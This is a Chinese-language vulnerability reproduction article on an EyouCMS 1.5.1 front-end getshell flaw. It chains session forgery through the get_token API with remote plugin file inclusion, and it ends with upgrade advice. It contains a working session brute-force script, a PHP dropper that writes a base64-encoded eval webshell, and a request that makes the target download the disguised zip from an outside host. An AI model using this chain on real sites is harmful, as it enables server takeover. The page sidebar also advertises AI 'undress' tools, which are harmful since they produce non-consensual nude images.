搜索
首页运维安全如何进行EyouCMS V1.5.1 前台getshell漏洞复现

如何进行EyouCMS V1.5.1 前台getshell漏洞复现

May 20, 2023 pm 08:14 PM
getshelleyoucms

0x00 漏洞简介

赞赞网络科技 EyouCMS(易优CMS)是中国赞赞网络科技公司的一套基于ThinkPHP的开源内容管理系统(CMS)。

Eyoucms v1.5.1 及以前版本存在任意用户后台登陆与文件包含漏洞,该漏洞使攻击者可以通过调用api,在前台设置一个管理员的session,后台远程插件下载文件包含getshell。

0x01 影响版本

EyouCMS <= 1.5.1

0x02 环境搭建

下载
官网下载V1.5.1版本
下载连接:https://qiniu.eyoucms.com/EyouCMS-V1.5.1-UTF8-SP3_142.zip

安装
通过phpstudy集成环境简单部署
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

0x03 漏洞分析

前台设置管理员session在application/api/controller/Ajax.php:215

如何进行EyouCMS V1.5.1 前台getshell漏洞复现

get_token

函数是可以前台随意调用的,另外形参中的

$name

变量也是通过http传递进来的。跟进token函数,如下图所示。
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

高亮处有一个设置session的操作,名字是可控的,而值是请求时间戳md5的值。不可控。
可以尝试通过这个设置session的操作,构造出一个后台管理员的session。然后我们梳理一下后台管理员的登录逻辑。在application/admin/controller/Base.php:54如何进行EyouCMS V1.5.1 前台getshell漏洞复现

这里涉及到了两个session,一个admin_login_expire,一个admin_id

if (session(&#39;?admin_id&#39;) && getTime() - intval($admin_login_expire) < $web_login_expiretime)

admin_login_expire

(该session会做减法的校验,需要满足一定条件)

admin_id

(该session有就即可,不会验证其值)
设置完这两个session后,我们继续看到if条件判断里还有一个

check_priv

函数,跟进查看:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

if (0 >= intval(session('admin_info.role_id')))<p><code>admin_info.role_id</code></p>
<p>(满足小于等于0即可)<br>设置完三个session后,就可以进后台了,如图所示:<br><img src="/static/imghwm/default1.png" data-src="https://img.php.cn/upload/article/000/000/164/168458488378613.jpg" class="lazy" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现"></p>
<p>后台远程插件下载getshell在application/admin/controller/Weapp.php:1235<img src="/static/imghwm/default1.png" data-src="https://img.php.cn/upload/article/000/000/164/168458488330190.jpg" class="lazy" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现"></p>
<p>这里传进来一个$url,然后做一个url解析,需要满足host为eyoucms.com。<br>也就是程序限制只能从官网下载插件安装,但是这个校验太简单了,可以绕。<br>然后下文就是请求这个下载链接,做解压操作,并包含进来config.php。<br><img src="/static/imghwm/default1.png" data-src="https://img.php.cn/upload/article/000/000/164/168458488375781.jpg" class="lazy" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现"></p>
<p>这后面再做的插件标准判断已经不起作用了。</p>
<h3 id="strong-x-漏洞利用-strong"><strong>0x04 漏洞利用</strong></h3>
<p>前台设置一个管理员的session<br>首先我们可以先取出成功登陆后的管理员session与未登录的普通用户session做对比<br>管理员:<br><img src="/static/imghwm/default1.png" data-src="https://img.php.cn/upload/article/000/000/164/168458488457115.jpg" class="lazy" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现"></p>
<p>普通用户:<br><img src="/static/imghwm/default1.png" data-src="https://img.php.cn/upload/article/000/000/164/168458488418027.jpg" class="lazy" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现"></p>
<p>调用get_token函数设置名为admin_login_expire的session<br><img src="/static/imghwm/default1.png" data-src="https://img.php.cn/upload/article/000/000/164/168458488498951.jpg" class="lazy" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现"></p>
<p>再查看该普通用户的session<br><img src="/static/imghwm/default1.png" data-src="https://img.php.cn/upload/article/000/000/164/168458488422879.jpg" class="lazy" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现"></p>
<p>已成功设置。<br>同样的我们可以把admin_id与admin_info.roke_id添加进去。<br><strong>但是</strong>这md5字符串显然不符合漏洞分析中的要求,所以这里通过脚本不断刷新session,直到寻找到合适的md5值</p>
<pre class="brush:php;toolbar:false">while 1 :
    admin_login_expire = api_psot("admin_login_expire")
    num_10 = admin_login_expire[2:12]
    if is_number(num_10):
        print("admin_login_expire=",num_10)
        break
while 1 :
    role_id = api_psot("admin_info.role_id")
    num_1 = role_id[2:3]
    if num_1 in ["a","b","c","d","e","f"]:
        print("role_id=",num_1)
        break
admin_id = api_psot("admin_id")
print("admin_id=",admin_id[2:-1])

运行结果:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

session:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

再经过application/admin/controller/Base.php:58和:106的intval()的转换:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

成功使用该PHPSESSID进入后台:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

后台远程插件下载文件包含getshell
然后开始制作恶意压缩包,文件目录结构如下:

weappp\weapp\test\config.phpconfig.php

文件内容为写入webshell

<?php  file_put_contents("./uploads/allimg/news_2021.php",base64_decode("PD9waHAgcGhwaW5mbygpO0BldmFsKCRfUE9TVFttb3Z4XSk7Pz4="));
?>

压缩成weappp.zip,修改后缀为jpg
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

到eyoucms.com官网寻找图片上传点
比如这个提问模块的问题描述:
https://www.eyoucms.com/ask/
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

获取到上传的图片地址:
https://www.eyoucms.com/uploads/allimg/210420/1618908445631562.jpg
直接在浏览器中请求下载该插件:
http://192.168.58.180/login.php?m=admin&c=weapp&a=downloadInstall&url=https://www.eyoucms.com/uploads/allimg/210420/1618908445631562.jpg
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

此时webshell已成功写入:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

访问webshell:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

0x05 修复建议

升级EyouCMS至V1.5.2或以后版本。

以上是如何进行EyouCMS V1.5.1 前台getshell漏洞复现的详细内容。更多信息请关注PHP中文网其他相关文章!

声明
本文转载于:亿速云。如有侵权,请联系admin@php.cn删除

热AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智能驱动的应用程序,用于创建逼真的裸体照片

AI Clothes Remover

AI Clothes Remover

用于从照片中去除衣服的在线人工智能工具。

Undress AI Tool

Undress AI Tool

免费脱衣服图片

Clothoff.io

Clothoff.io

AI脱衣机

AI Hentai Generator

AI Hentai Generator

免费生成ai无尽的。

热门文章

R.E.P.O.能量晶体解释及其做什么(黄色晶体)
4 周前By尊渡假赌尊渡假赌尊渡假赌
R.E.P.O.最佳图形设置
3 周前By尊渡假赌尊渡假赌尊渡假赌
R.E.P.O.如果您听不到任何人,如何修复音频
4 周前By尊渡假赌尊渡假赌尊渡假赌
WWE 2K25:如何解锁Myrise中的所有内容
1 个月前By尊渡假赌尊渡假赌尊渡假赌

热工具

SublimeText3 英文版

SublimeText3 英文版

推荐:为Win版本,支持代码提示!

安全考试浏览器

安全考试浏览器

Safe Exam Browser是一个安全的浏览器环境,用于安全地进行在线考试。该软件将任何计算机变成一个安全的工作站。它控制对任何实用工具的访问,并防止学生使用未经授权的资源。

ZendStudio 13.5.1 Mac

ZendStudio 13.5.1 Mac

功能强大的PHP集成开发环境

Dreamweaver Mac版

Dreamweaver Mac版

视觉化网页开发工具

Dreamweaver CS6

Dreamweaver CS6

视觉化网页开发工具